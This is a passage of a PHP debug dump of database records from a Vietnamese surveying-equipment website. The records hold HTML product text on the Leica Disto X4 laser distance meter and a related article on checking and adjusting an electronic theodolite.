nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; 